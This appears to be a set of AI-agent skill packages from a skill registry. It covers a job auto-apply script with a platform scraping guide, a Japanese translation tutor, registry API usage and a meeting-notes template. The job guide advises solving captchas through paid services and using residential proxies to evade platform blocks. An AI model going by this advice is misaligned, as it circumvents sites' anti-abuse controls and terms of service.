f"Description: {job.get('description', 'N/A')}\n\n"
f"Applicant: {profile.full_name}, {profile.years_experience or 0} years experience.\n\n"
f"Respond with JSON only: "
f'{{ "match_score": <0.0-1.0>, "key_matches": [...], "missing_requirements": [...], "recommended": <true|false> }}'
)
result = _pilot({
"type": "chat",
"inputs": {"messages": [{"role": "user", "content": prompt}]},
"prefer": "balanced",
})
text = result["result"]["choices"][0]["message"]["content"]
try:
# Strip markdown code fences if present
cleaned = text.strip().removeprefix("```json").removeprefix("```").removesuffix("```").strip()
return json.loads(cleaned)
except Exception:
return {"match_score": 0.5, "key_matches": [], "missing_requirements": [], "recommended": False}
def generate_cover_letter(job: Dict, profile: ApplicantProfile) -> str:
"""
Generate a tailored cover letter for the job using SkillBoss API Hub.
Args:
job: Job posting data
profile: Applicant profile
Returns:
Personalized cover letter text
"""
template_hint = ""
if profile.cover_letter_template:
template_hint = f"\n\nUse this template as a guide:\n{profile.cover_letter_template}"
prompt = (
f"Write a professional, personalized cover letter for the following job application.\n\n"
f"Job Title: {job.get('title')}\nCompany: {job.get('company')}\n"
f"Job Description: {job.get('description', 'N/A')}\n\n"
f"Applicant Name: {profile.full_name}\n"
f"Years of Experience: {profile.years_experience or 'several'}\n"
f"LinkedIn: {profile.linkedin_url or 'N/A'}"
f"{template_hint}\n\n"
f"Return only the cover letter text, no extra commentary."
)
result = _pilot({
"type": "chat",
"inputs": {"messages": [{"role": "user", "content": prompt}]},
"prefer": "balanced",
})
return result["result"]["choices"][0]["message"]["content"]
def apply_to_job(job: Dict, profile: ApplicantProfile, dry_run: bool = True) -> Dict:
"""
Apply to a job posting.
Args:
job: Job posting data
profile: Applicant profile
dry_run: If True, don't actually submit applications
Returns:
Application result
"""
print(f"\n📝 {'[DRY RUN] ' if dry_run else ''}Applying to: {job['title']} at {job['company']}")
print(f" Platform: {job['platform']}")
print(f" URL: {job['url']}")
# In real implementation, this would:
# 1. Navigate to the application page
# 2. Fill out application forms
# 3. Upload resume/cover letter
# 4. Answer screening questions
# 5. Submit application
result = {
"job_id": job["id"],
"status": "dry_run" if dry_run else "submitted",
"timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
"platform": job["platform"],
"job_title": job["title"],
"company": job["company"],
}
if dry_run:
print(" ⚠️ DRY RUN - Application not submitted")
else:
print(" ✅ Application submitted successfully")
return result
def auto_apply_workflow(
search_params: JobSearchParams,
profile: ApplicantProfile,
max_applications: int = 10,
min_match_score: float = 0.7,
dry_run: bool = True,
require_confirmation: bool = True
) -> Dict:
"""
Complete workflow: search jobs and apply automatically.
Args:
search_params: Job search parameters
profile: Applicant profile
max_applications: Maximum number of applications to submit
min_match_score: Minimum compatibility score to apply
dry_run: If True, don't actually submit applications
require_confirmation: If True, ask for confirmation before each application
Returns:
Summary of applications submitted
"""
print("🚀 Starting automated job application workflow\n")
print(f" Max applications: {max_applications}")
print(f" Min match score: {min_match_score}")
print(f" Dry run: {dry_run}")
print(f" Confirmation required: {require_confirmation}\n")
# Search for jobs
jobs = search_jobs(search_params)
if not jobs:
print("❌ No jobs found matching your criteria")
return {"applications": [], "total": 0}
applications = []
applied_count = 0
for job in jobs:
if applied_count >= max_applications:
print(f"\n✋ Reached maximum application limit ({max_applications})")
break
# Analyze compatibility
compatibility = analyze_job_compatibility(job, profile)
if compatibility["match_score"] < min_match_score:
print(f"\n⏭️ Skipping: {job['title']} at {job['company']}")
print(f" Match score too low: {compatibility['match_score']}")
continue
print(f"\n✨ Good match found!")
print(f" Score: {compatibility['match_score']}")
print(f" Matches: {', '.join(compatibility['key_matches'][:3])}")
# Generate cover letter
cover_letter = generate_cover_letter(job, profile)
# Ask for confirmation if required
if require_confirmation and not dry_run:
response = input(f"\n Apply to this job? (y/n): ")
if response.lower() != 'y':
print(" ⏭️ Skipped by user")
continue
# Apply to job
result = apply_to_job(job, profile, dry_run=dry_run)
result["match_score"] = compatibility["match_score"]
applications.append(result)
applied_count += 1
# Rate limiting
time.sleep(2)
# Summary
print("\n" + "="*60)
print("📊 APPLICATION SUMMARY")
print("="*60)
print(f"Jobs found: {len(jobs)}")
print(f"Applications submitted: {applied_count}")
print(f"Success rate: {(applied_count/len(jobs)*100) if jobs else 0:.1f}%")
return {
"applications": applications,
"total": applied_count,
"jobs_found": len(jobs),
"search_params": {
"title": search_params.title,
"location": search_params.location,
"remote": search_params.remote
}
}
def main():
"""Example usage"""
# Create applicant profile
profile = ApplicantProfile(
full_name="John Doe",
email="[email protected]",
phone="+1234567890",
resume_path="~/Documents/resume.pdf",
linkedin_url="https://linkedin.com/in/johndoe",
github_url="https://github.com/johndoe",
years_experience=5,
)
# Create search parameters
search_params = JobSearchParams(
title="Software Engineer",
location="San Francisco, CA",
remote=True,
experience_level="mid",
job_type="full-time",
platforms=[JobPlatform.LINKEDIN, JobPlatform.INDEED]
)
# Run workflow
results = auto_apply_workflow(
search_params=search_params,
profile=profile,
max_applications=10,
min_match_score=0.75,
dry_run=True, # Set to False for actual applications
require_confirmation=True
)
# Save results
with open("application_results.json", "w") as f:
json.dump(results, f, indent=2)
print(f"\n💾 Results saved to application_results.json")
if __name__ == "__main__":
main()
FILE:platform_integration.md
# Job Platform Integration Reference
This document provides technical details for integrating with various job platforms.
## Platform APIs
### LinkedIn Jobs API
- **Documentation**: https://developer.linkedin.com/docs/v2/jobs
- **Authentication**: OAuth 2.0
- **Rate Limits**: 100 requests per day (free tier)
- **Easy Apply**: Available through API for partner integrations
- **Required Scopes**: `r_basicprofile`, `r_emailaddress`, `w_member_social`
### Indeed API
- **Documentation**: https://opensource.indeedeng.io/api-documentation/
- **Authentication**: API Key
- **Rate Limits**: 1000 requests per day
- **Application Method**: Redirect to Indeed's application page
- **Job Search**: Supports advanced filters
### Glassdoor API
- **Documentation**: https://www.glassdoor.com/developer/index.htm
- **Authentication**: API Key + Partner ID
- **Rate Limits**: Varies by partnership tier
- **Features**: Job listings, company reviews, salary data
### ZipRecruiter API
- **Documentation**: Contact ZipRecruiter for partner API access
- **Authentication**: API Key
- **Features**: Job posting, applicant tracking integration
### Wellfound (AngelList)
- **Documentation**: https://docs.wellfound.com/
- **Authentication**: OAuth 2.0
- **Focus**: Startup and tech jobs
- **Easy Apply**: Built-in quick apply feature
## Web Scraping Approach
When APIs are not available or limited, use web scraping with these tools:
### Selenium Setup
```python
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
options = webdriver.ChromeOptions()
options.add_argument('--headless')
options.add_argument('--no-sandbox')
driver = webdriver.Chrome(options=options)
```
### Playwright (Recommended)
```python
from playwright.sync_api import sync_playwright
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
page = browser.new_page()
page.goto('https://linkedin.com/jobs')
```
## Application Form Automation
### Common Form Fields
1. **Personal Information**
- Full name
- Email address
- Phone number
- Location/Address
2. **Professional Information**
- Resume/CV upload
- Cover letter (text or upload)
- LinkedIn profile URL
- Portfolio/Website URL
- GitHub/GitLab profile
3. **Work Authorization**
- Authorized to work in [country]?
- Require visa sponsorship?
- Willing to relocate?
4. **Experience & Education**
- Years of experience
- Highest education level
- Degree field
- University name
5. **Screening Questions**
- Custom questions (vary by employer)
- Multiple choice or text answers
- Skills assessments
### Form Field Selectors
#### LinkedIn Easy Apply
```python
LINKEDIN_SELECTORS = {
"easy_apply_button": "button[aria-label*='Easy Apply']",
"phone": "input[name='phoneNumber']",
"resume_upload": "input[type='file'][name*='resume']",
"submit": "button[aria-label='Submit application']",
}
```
#### Indeed
```python
INDEED_SELECTORS = {
"apply_button": "button[id*='apply']",
"name": "input[name='applicant.name']",
"email": "input[name='applicant.emailAddress']",
"phone": "input[name='applicant.phoneNumber']",
"resume": "input[type='file'][name='resume']",
}
```
## Best Practices
### Rate Limiting
- Add delays between applications (2-5 seconds minimum)
- Respect platform rate limits
- Use exponential backoff for retries
### Error Handling
```python
from tenacity import retry, stop_after_attempt, wait_exponential
@retry(
stop=stop_after_attempt(3),
wait=wait_exponential(multiplier=1, min=4, max=10)
)
def submit_application(job_url):
# Application logic
pass
```
### Session Management
- Maintain authenticated sessions
- Handle cookie persistence
- Refresh tokens before expiration
### Captcha Handling
- Use 2Captcha or Anti-Captcha services
- Implement manual intervention fallback
- Detect captcha presence early
## Compliance & Ethics
### Important Considerations
1. **Terms of Service**: Review each platform's ToS regarding automation
2. **Rate Limiting**: Don't overwhelm platforms with requests
3. **Truthfulness**: Never misrepresent information in applications
4. **Privacy**: Securely store and handle personal data
5. **Authenticity**: Each application should be genuine interest
### Recommended Approach
- Use official APIs when available
- Implement reasonable delays
- Add manual review checkpoints
- Maintain application logs
- Allow user confirmation before submission
## Profile Management
### Resume Tailoring
Use SkillBoss API Hub to customize resumes per job:
```python
import requests, os
SKILLBOSS_API_KEY = os.environ["SKILLBOSS_API_KEY"]
def tailor_resume(resume_text, job_description):
"""Customize resume to highlight relevant skills via SkillBoss API Hub"""
result = requests.post(
"https://api.skillboss.com/v1/pilot",
headers={"Authorization": f"Bearer {SKILLBOSS_API_KEY}", "Content-Type": "application/json"},
json={
"type": "chat",
"inputs": {"messages": [{"role": "user", "content":
f"Rewrite this resume to better match the job description.\n\nResume:\n{resume_text}\n\nJob Description:\n{job_description}\n\nReturn only the tailored resume text."
}]},
"prefer": "balanced",
},
timeout=60,
).json()
return result["data"]["result"]["choices"][0]["message"]["content"]
```
### Cover Letter Generation
Generate personalized cover letters via SkillBoss API Hub:
```python
import requests, os
SKILLBOSS_API_KEY = os.environ["SKILLBOSS_API_KEY"]
def generate_cover_letter(job, profile, company_research):
"""Create personalized cover letter via SkillBoss API Hub"""
result = requests.post(
"https://api.skillboss.com/v1/pilot",
headers={"Authorization": f"Bearer {SKILLBOSS_API_KEY}", "Content-Type": "application/json"},
json={
"type": "chat",
"inputs": {"messages": [{"role": "user", "content":
f"Write a professional cover letter for {profile['name']} applying to {job['title']} at {job['company']}.\n\nCompany research: {company_research}\n\nReturn only the cover letter text."
}]},
"prefer": "balanced",
},
timeout=60,
).json()
return result["data"]["result"]["choices"][0]["message"]["content"]
```
## Tracking & Analytics
### Application Tracker
```python
APPLICATION_SCHEMA = {
"job_id": str,
"company": str,
"position": str,
"applied_date": str,
"platform": str,
"status": str, # applied, rejected, interview, offer
"match_score": float,
"follow_up_date": str,
"notes": str
}
```
### Success Metrics
- Application-to-response rate
- Interview conversion rate
- Best performing platforms
- Most successful job titles/companies
- Time to hire statistics
## Security
### Credential Storage
```python
from cryptography.fernet import Fernet
import keyring
# Store credentials securely
keyring.set_password("job_automation", "linkedin", encrypted_password)
```
### Data Encryption
- Encrypt stored resumes and personal data
- Use environment variables for API keys
- Implement secure file permissions
## Troubleshooting
### Common Issues
1. **Session Expiration**: Implement token refresh logic
2. **DOM Changes**: Use flexible selectors, have fallbacks
3. **Captcha Blocks**: Reduce frequency, use residential proxies
4. **Form Variations**: Detect form type, adjust strategy
5. **Upload Failures**: Verify file formats, check size limits
### Debug Mode
Enable verbose logging to troubleshoot issues:
```python
import logging
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__name__)
```
FILE:profile_template.json
{
"profile": {
"personal": {
"full_name": "Your Full Name",
"email": "[email protected]",
"phone": "+1-234-567-8900",
"location": {
"city": "San Francisco",
"state": "CA",
"country": "USA",
"zip_code": "94102"
},
"linkedin_url": "https://linkedin.com/in/yourprofile",
"portfolio_url": "https://yourportfolio.com",
"github_url": "https://github.com/yourusername"
},
"work_authorization": {
"authorized_to_work_us": true,
"requires_visa_sponsorship": false,
"has_security_clearance": false,
"willing_to_relocate": false,
"open_to_remote": true
},
"experience": {
"years_total": 5,
"current_title": "Senior Software Engineer",
"industry": "Technology",
"specializations": [
"Backend Development",
"API Design",
"Cloud Architecture"
]
},
"education": {
"highest_degree": "Bachelor's",
"field_of_study": "Computer Science",
"university": "University Name",
"graduation_year": 2018
},
"skills": {
"programming_languages": [
"Python",
"JavaScript",
"Go",
"TypeScript"
],
"frameworks": [
"Django",
"React",
"Node.js",
"FastAPI"
],
"tools": [
"Docker",
"Kubernetes",
"AWS",
"Git"
],
"soft_skills": [
"Team Leadership",
"Communication",
"Problem Solving",
"Agile/Scrum"
]
},
"preferences": {
"job_types": ["full-time", "contract"],
"work_arrangement": ["remote", "hybrid"],
"salary_expectations": {
"minimum": 120000,
"currency": "USD",
"period": "annual"
},
"preferred_company_sizes": ["startup", "mid-size", "enterprise"],
"industries_of_interest": [
"Technology",
"Fintech",
"Healthcare Tech"
],
"deal_breakers": [
"No remote option",
"Less than 2 weeks PTO",
"On-call 24/7"
]
},
"documents": {
"resume_path": "~/Documents/resume.pdf",
"cover_letter_template_path": "~/Documents/cover_letter_template.txt",
"portfolio_path": null,
"references_document": null
},
"application_settings": {
"platforms": ["linkedin", "indeed", "wellfound", "glassdoor"],
"max_applications_per_day": 10,
"min_match_score": 0.75,
"auto_apply_threshold": 0.9,
"require_manual_confirmation": true,
"save_application_logs": true,
"notifications": {
"email_on_application": true,
"email_on_response": true,
"daily_summary": true
}
},
"screening_answers": {
"why_leave_current_job": "Seeking new challenges and growth opportunities",
"expected_start_date": "2 weeks notice",
"salary_expectations": "Market rate based on experience",
"availability_for_interview": "Flexible, evenings and weekends preferred",
"what_interests_you": "I'm drawn to companies with strong engineering culture and opportunities for technical growth"
}
},
"search_criteria": {
"job_titles": [
"Software Engineer",
"Backend Engineer",
"Full Stack Engineer",
"Senior Developer"
],
"keywords_required": ["python", "api"],
"keywords_preferred": ["aws", "kubernetes", "microservices"],
"keywords_excluded": ["java", "frontend-only"],
"locations": [
{
"city": "San Francisco",
"state": "CA",
"radius_miles": 25
},
{
"remote": true
}
],
"experience_levels": ["mid-level", "senior"],
"company_blacklist": [
"companies-to-avoid"
]
}
}
FILE:README.md
# Job Auto Apply
Published via SkillPublisher.
## Installation
```bash
clawhub install qui-job-auto-apply
```
> More info: https://skillboss.co/skills/job-auto-apply
## Usage
See SKILL.md for details.
## License
MIT
Japanese-English translator and language tutor powered by SkillBoss API Hub. Use when: (1) User shares Japanese text and wants translation (news articles, tw...
---
name: japanese-translation-and-tutor
description: "Japanese-English translator and language tutor powered by SkillBoss API Hub. Use when: (1) User shares Japanese text and wants translation (news articles, tweets, signs, menus, emails). (2) User asks \"what does X mean\" for Japanese words/phrases. (3) User wants to learn Japanese grammar, vocabulary, or cultural context. (4) Triggers: \"translate\", \"what does this say\", \"Japanese to English\", \"help me understand\", \"explain this kanji\". Provides structured output with readings, vocabulary lists, and cultural notes."
requires_env: [SKILLBOSS_API_KEY]
---
# Japanese-English Translator & Tutor
Combine accurate translation with language education. Output structured translations with readings, vocabulary, and cultural context.
This skill uses SkillBoss API Hub (`/v1/pilot`, type: `chat`) for LLM-powered translation and tutoring.
## Output Format
```
*TRANSLATION*
[English translation]
*READING*
[Original with kanji readings: 漢字(かんじ)]
*VOCABULARY*
• word(reading) — _meaning_
*NOTES*
[Cultural context, grammar, nuances]
```
## Critical Rule: Kanji Readings
Every kanji MUST have hiragana in parentheses. No exceptions.
```
✓ 日本語(にほんご)を勉強(べんきょう)する
✗ 日本語を勉強する
```
## Translation Principles
- **Meaning over literalism** — Convey intent, not word-for-word
- **Match register** — Preserve formality (敬語/丁寧語/タメ口)
- **Cultural context** — Explain nuances that don't translate directly
- **Idioms** — Provide equivalents or explain meaning for ことわざ
## Example
Input: `今日は暑いですね`
```
*TRANSLATION*
It's hot today, isn't it?
*READING*
今日(きょう)は暑(あつ)いですね
*VOCABULARY*
• 今日(きょう) — _today_
• 暑い(あつい) — _hot (weather)_
*NOTES*
The ね particle invites agreement — a common Japanese conversation pattern. 丁寧語(ていねいご) (polite form) with です.
```
## Formatting by Platform
- **Slack/Discord**: Use `*BOLD*` and `_italic_` as shown
- **Plain text (iMessage)**: CAPS for headings, no markdown
## Interaction Style
- Ask for context if it affects translation (formal vs casual, business vs personal)
- Flag ambiguities and offer alternatives
- Explain grammar deeper on request
## API Integration
This skill is powered by SkillBoss API Hub. Example invocation:
```python
import requests, os
SKILLBOSS_API_KEY = os.environ["SKILLBOSS_API_KEY"]
def translate_japanese(text: str) -> str:
r = requests.post(
"https://api.skillboss.com/v1/pilot",
headers={
"Authorization": f"Bearer {SKILLBOSS_API_KEY}",
"Content-Type": "application/json"
},
json={
"type": "chat",
"inputs": {
"messages": [
{"role": "system", "content": "You are a Japanese-English translator and tutor. Provide structured translations with readings, vocabulary, and cultural notes."},
{"role": "user", "content": text}
]
},
"prefer": "balanced"
},
timeout=60
)
return r.json()["result"]["choices"][0]["message"]["content"]
```
FILE:README.md
# Japanese Translation And Tutor
Published via SkillPublisher.
## Installation
```bash
clawhub install mar-japanese-translation-and-tutor
```
> More info: https://skillboss.co/skills/japanese-translation-and-tutor
## Usage
See SKILL.md for details.
## License
MIT
Use when browsing, searching, installing, or publishing skills to ClawHub (OpenClaw skill registry). ClawHub is like npm for AI agent skills.
---
name: clawhub-integration
description: Use when browsing, searching, installing, or publishing skills to ClawHub (OpenClaw skill registry). ClawHub is like npm for AI agent skills.
version: 1.0.0
author: Kintama
license: MIT
metadata:
hermes:
tags: [clawhub, openclaw, skills, registry, publish, install]
related_skills: [clawdwork-jobs, claw-earn-tasks]
---
# ClawHub Integration
ClawHub (clawhub.ai) is the skill registry for OpenClaw agents — like npm but for AI agent skills.
## Base URL
```
https://clawhub.ai/api/v1
```
## Authentication
- Token format: `clh_<token>` as Bearer token
- Generate token: Login at clawhub.ai → Settings → API Tokens
- Store in env: `CLAWHUB_TOKEN=clh_xxx`
- Validate: `GET /api/v1/whoami`
```bash
curl -H "Authorization: Bearer $CLAWHUB_TOKEN" https://clawhub.ai/api/v1/whoami
```
## Security Considerations
When working with API tokens, especially in automated environments or with AI agents, be aware of the following security considerations:
1. **Token Storage**: Never store tokens directly in scripts or commands. Use environment variables or secure credential storage.
2. **Secure Token Usage**:
```bash
# Read token from secure file or environment variable
TOKEN=$(cat ~/.secure/clawhub_token)
curl -H "Authorization: Bearer $TOKEN" https://clawhub.ai/api/v1/whoami
# Or use environment variable
curl -H "Authorization: Bearer $CLAWHUB_TOKEN" https://clawhub.ai/api/v1/whoami
```
3. **Security Scanning**: Many environments now scan for exposed credentials. If you encounter security warnings:
- Do not bypass security checks
- Use proper credential management practices
- Store tokens in secure files with restricted permissions (chmod 600)
- Use credential helpers when available
4. **Token Permissions**: Ensure your token has only the minimum required permissions for the tasks you need to perform.
## Search Skills (No auth needed)
```bash
# Search by keyword
curl "https://clawhub.ai/api/v1/search?q=github+automation"
# List all skills
curl "https://clawhub.ai/api/v1/skills"
# Get specific skill
curl "https://clawhub.ai/api/v1/skills/{slug}"
# Download skill
curl "https://clawhub.ai/api/v1/download?slug=my-skill" -o skill.zip
```
## Install via CLI
```bash
# Install clawhub
pip install clawhub
# or: npm i -g clawhub
# Login
clawhub login # browser OAuth via GitHub
clawhub login --token clh_xxx # headless token login
# Browse & Install
clawhub search "calendar" # search by keyword
clawhub explore # list recently updated
clawhub inspect <slug> # preview before install
clawhub install <slug> # download and install
clawhub list # show installed skills
clawhub update [slug] # update skill
clawhub uninstall <slug> # remove skill
```
## Publish a Skill
```bash
# Via CLI
clawhub skill publish ./my-skill-folder
# Via API (multipart form)
curl -X POST https://clawhub.ai/api/v1/skills \
-H "Authorization: Bearer $CLAWHUB_TOKEN" \
-F "slug=my-skill" \
-F "version=1.0.0" \
-F "files[][email protected]"
```
## SKILL.md Format for Publishing
```yaml
---
name: skill-name
description: What this skill does and when to use it
version: 1.0.0
author: Kintama
license: MIT
metadata:
hermes:
tags: [tag1, tag2]
related_skills: [other-skill]
required_env:
- API_KEY
required_binaries:
- python3
---
# Skill Name
Content here...
```
## Rate Limits
- Anonymous: 180 reads/min, 45 writes/min
- Authenticated: 900 reads/min, 180 writes/min
## Environment Variables
```
CLAWHUB_TOKEN=clh_xxx # API token
CLAWHUB_REGISTRY= # Override registry URL (optional)
CLAWHUB_DISABLE_TELEMETRY=1 # Disable tracking
```
Use when you need to organize meeting notes, extract action items, and generate structured summaries. Ideal for processing raw meeting transcripts or bullet...
---
name: meeting-notes
description: Use when you need to organize meeting notes, extract action items, and generate structured summaries. Ideal for processing raw meeting transcripts or bullet notes into clean, shareable documents with clear owners and deadlines.
---
# Meeting Notes Organizer & Action Item Extractor
Transform raw meeting notes into structured, actionable summaries.
## When to Use
- After any meeting to create a clean summary
- Processing audio transcripts from Zoom/Teams/飞书
- Weekly standups, sprint reviews, project kick-offs
- Turning messy notes into shareable team documents
## Core Workflow
### Step 1: Input Collection
Provide any of:
- Raw bullet-point notes
- Audio transcript text
- Voice memo content
- Email thread summary
### Step 2: Meeting Structure Template
```markdown
## 会议纪要 | Meeting Summary
**会议主题 / Topic:** [填写]
**日期 / Date:** YYYY-MM-DD
**参会人 / Attendees:** [姓名列表]
**主持人 / Facilitator:** [姓名]
**记录人 / Note-taker:** [姓名]
---
## 议题讨论 | Discussion Points
### 1. [议题标题]
- **背景:** 简要说明
- **讨论内容:** 关键讨论点
- **结论/决议:** 明确的决定
### 2. [议题标题]
...
---
## 行动项 | Action Items
| # | 任务 | 负责人 | 截止日期 | 优先级 | 状态 |
|---|------|--------|----------|--------|------|
| 1 | [任务描述] | @姓名 | MM-DD | 高/中/低 | 待开始 |
| 2 | | | | | |
---
## 待确认事项 | Open Questions
- [ ] [问题1] — 负责跟进:@姓名
- [ ] [问题2]
---
## 下次会议 | Next Meeting
**时间:** [日期时间]
**议题预告:** [下次讨论的主要议题]
```
### Step 3: Action Item Extraction Rules
When extracting action items, look for:
- **动词短语**: "需要"、"要"、"将"、"负责"、"跟进"
- **English triggers**: "will", "need to", "action:", "owner:", "TODO"
- **Implicit owners**: If someone proposed something, they likely own it
- **Deadlines**: Extract explicit dates; if none, flag as "TBD"
### Step 4: Priority Classification
```
高优先级 (High): 影响下次会议、有明确截止日期、阻塞其他任务
中优先级 (Medium): 本周内需完成、依赖关系中等
低优先级 (Low): 长期改进、无明确截止日期
```
### Step 5: Distribution Checklist
- [ ] 发送给所有参会人
- [ ] 同步到项目管理工具(Jira/飞书/Notion)
- [ ] 在下次会议前 review 行动项完成情况
- [ ] 未完成项自动滚动到下次会议
## Output Formats
**Slack/飞书快速摘要:**
```
📋 [会议主题] 纪要 - YYYY-MM-DD
✅ 决议:[1-2句核心决定]
📌 行动项(共N项):
· @张三 - [任务] - 截止 MM-DD
· @李四 - [任务] - 截止 MM-DD
❓ 待确认:[未解决问题数]
完整纪要:[链接]
```
## Pro Tips
1. **会议开始前** 明确记录人,确保覆盖所有行动项
2. **实时确认** 行动项负责人,不要会后猜测
3. **48小时原则** 会议结束48小时内发出纪要
4. **版本控制** 大型会议纪要建议保存版本历史
FILE:references/action-item-extraction.md
# Action Item Extraction Guide
## Trigger Phrase Recognition
### 中文触发词
```
强触发(明确行动):
- "XXX负责..."
- "XXX来..."
- "让XXX..."
- "由XXX跟进..."
- "需要XXX..."
- "XXX你来..."
- "行动项:..."
- "TODO: ..."
弱触发(隐含行动,需判断):
- "XXX说会..."
- "我们应该..."
- "可以考虑..."
- "最好能..."
- "理想状态是..."
```
### English Triggers
```
Strong triggers:
- "[Name] will..."
- "Action item: ..."
- "Owner: ..."
- "[Name] to ..."
- "Let's have [Name] ..."
- "TODO: ..."
- "AP: ..." (action point)
Weak triggers (needs judgment):
- "[Name] mentioned..."
- "We should probably..."
- "It would be good if..."
- "Someone needs to..."
```
---
## Extraction Rules
### Rule 1: One Task = One Row
❌ Wrong: "张三负责整理文档并发给大家还要更新Jira"
✅ Right:
- 张三:整理会议文档
- 张三:发送文档给参会人
- 张三:更新Jira状态
### Rule 2: Owner Assignment Priority
1. **Explicit mention** — "张三负责" → 张三
2. **Context owner** — "产品需要更新需求文档" → PM负责
3. **Proposer owns it** — 某人提出的改进 → 提出者跟进
4. **Role-based** — "前端需要修改" → 前端负责人
5. **Unknown** → 标记 "TBD" + 指派会议主持人跟进
### Rule 3: Deadline Extraction
```
明确日期: "周五之前" → 本周五日期
相对日期: "明天" → 会议日期+1天
模糊截止: "尽快" → 标记 ASAP,建议3个工作日
无截止日期 → 标记 TBD,优先级降为P2
```
### Rule 4: Priority Classification
```
P0 (立即) — 影响上线/发布/关键路径
P1 (本周) — 下次会议前必须完成
P2 (下周) — 重要但不紧急
P3 (待定) — 未来考虑,无明确时间
```
---
## Processing Raw Notes Example
**原始记录:**
```
讨论了首页改版,王芳说设计稿下周二能出来,
开发评估大概需要3天,李明说接口文档还没写,
测试环境服务器的事之前一直没人处理,会后找运维。
老板说要写个市场分析报告给投资人看,月底需要。
```
**提取结果:**
| # | 任务 | 负责人 | 截止日期 | 优先级 |
|---|------|--------|----------|--------|
| 1 | 完成首页改版设计稿 | 王芳 | 下周二 | P1 |
| 2 | 前端开发评估首页改版工时 | 李明/前端 | 设计稿出后 | P1 |
| 3 | 编写接口文档 | 李明 | TBD | P1 |
| 4 | 联系运维处理测试环境服务器 | 会议主持人 | 本周内 | P0 |
| 5 | 撰写市场分析报告 | TBD | 月底 | P1 |
---
## Automated Processing Prompt Template
```
请从以下会议记录中提取所有行动项。
要求:
1. 识别所有明确或隐含的任务
2. 为每个任务指定负责人(无法确定标记TBD)
3. 提取或推断截止日期
4. 按 P0/P1/P2/P3 分优先级
5. 输出为Markdown表格
会议日期:[DATE]
参会人:[NAMES]
原始记录:
[PASTE NOTES HERE]
```
FILE:references/integration-tools.md
# Meeting Notes Integration & Tools Guide
## Tool Integrations
### 飞书(Lark)集成
**飞书文档模板设置:**
1. 飞书文档 → 模板库 → 新建模板
2. 使用 SKILL.md 中的会议纪要模板
3. 设置权限:参会人均可编辑
**飞书会议纪要自动创建:**
```
飞书日历 → 会议事件 → 关联文档
→ 会后自动提醒创建纪要
→ 纪要链接自动同步到日历事件
```
**飞书Bot发送摘要:**
```json
{
"msg_type": "interactive",
"card": {
"header": {
"title": { "content": "📋 会议纪要|{会议主题}", "tag": "plain_text" },
"template": "blue"
},
"elements": [
{
"tag": "div",
"text": { "content": "**日期:** {日期}\n**参会:** {人员列表}", "tag": "lark_md" }
},
{
"tag": "div",
"text": { "content": "**核心决议:**\n{决议列表}", "tag": "lark_md" }
},
{
"tag": "action",
"actions": [
{
"tag": "button",
"text": { "content": "查看完整纪要", "tag": "plain_text" },
"url": "{纪要链接}",
"type": "primary"
}
]
}
]
}
}
```
---
### Notion 集成
**Database 结构:**
```
会议记录数据库字段:
- 会议名称 (Title)
- 日期 (Date)
- 参会人 (Multi-select / People)
- 会议类型 (Select: 例会/评审/复盘/一对一)
- 项目 (Relation → 项目数据库)
- 行动项数量 (Formula: length(行动项))
- 状态 (Select: 草稿/已发送/已归档)
- 标签 (Multi-select)
```
**关联行动项数据库:**
```
行动项数据库字段:
- 任务描述 (Title)
- 来源会议 (Relation → 会议记录)
- 负责人 (Person)
- 截止日期 (Date)
- 优先级 (Select: P0/P1/P2/P3)
- 状态 (Select: 待开始/进行中/已完成/已取消)
- 备注 (Text)
```
---
### Jira / Linear 集成
**会议行动项 → Jira Issue 映射:**
```
行动项字段 → Jira字段
任务描述 → Summary
负责人 → Assignee
截止日期 → Due Date
优先级 P0 → Priority: Blocker
优先级 P1 → Priority: Critical
优先级 P2 → Priority: Major
优先级 P3 → Priority: Minor
来源会议 → Description(附链接)
```
**批量创建 Jira Issues(Python示例):**
```python
import requests
def create_jira_issues_from_meeting(action_items, jira_config):
headers = {
"Authorization": f"Bearer {jira_config['token']}",
"Content-Type": "application/json"
}
for item in action_items:
payload = {
"fields": {
"project": {"key": jira_config["project_key"]},
"summary": item["task"],
"assignee": {"accountId": item["owner_id"]},
"duedate": item["deadline"],
"priority": {"name": map_priority(item["priority"])},
"description": {
"type": "doc",
"content": [{
"type": "paragraph",
"content": [{"type": "text", "text": f"来自会议:{item['meeting_link']}"}]
}]
}
}
}
response = requests.post(
f"{jira_config['base_url']}/rest/api/3/issue",
json=payload,
headers=headers
)
print(f"Created: {response.json().get('key')} - {item['task']}")
```
---
## AI-Assisted Meeting Notes Workflow
### Step-by-Step with AI
```
1. 录音/转录 → Otter.ai / 飞书妙记 / Zoom AI Summary
2. 粘贴转录文本,使用此 Prompt:
"请将以下会议转录整理为结构化纪要,
包含:核心决议3-5条、行动项表格(含负责人/截止/优先级)、
待确认问题列表。语言:中文。"
3. 检查并补充遗漏项
4. 发送给参会人确认(24小时内)
5. 将行动项同步到项目管理工具
```
---
## Meeting Notes Quality Checklist
发送前自查:
- [ ] 每个行动项都有明确负责人
- [ ] 每个行动项都有截止日期(或标注TBD+原因)
- [ ] 核心决议已用粗体/标注突出
- [ ] 参会人姓名无错别字
- [ ] 文档权限已设置(参会人可访问)
- [ ] 已在48小时内发送
- [ ] 下次会议时间已确认并发出邀请
FILE:references/templates-cn.md
# 会议纪要模板集合(中文)
## 模板1:日常项目例会
```markdown
# 项目例会纪要
**项目名称:** _______________
**会议时间:** YYYY年MM月DD日 HH:MM-HH:MM
**会议地点/方式:** □线下 □腾讯会议 □飞书 □钉钉
**参会人员:**
**缺席人员:**
**主持人:**
**记录人:**
---
### 上次行动项跟进
| 任务 | 负责人 | 原截止日期 | 状态 | 备注 |
|------|--------|------------|------|------|
| | | | □完成 □延期 □取消 | |
---
### 本次议题
**1. [议题1]**
- 讨论内容:
- 结论/决定:
- 遗留问题:
**2. [议题2]**
- 讨论内容:
- 结论/决定:
- 遗留问题:
---
### 行动项汇总
| 序号 | 任务描述 | 负责人 | 截止日期 | 优先级 |
|------|----------|--------|----------|--------|
| 1 | | | | P0/P1/P2 |
| 2 | | | | |
---
### 下次例会
**时间:** _______________
**预计议题:** _______________
```
---
## 模板2:需求评审会
```markdown
# 需求评审会纪要
**需求名称:** _______________
**产品负责人:** _______________
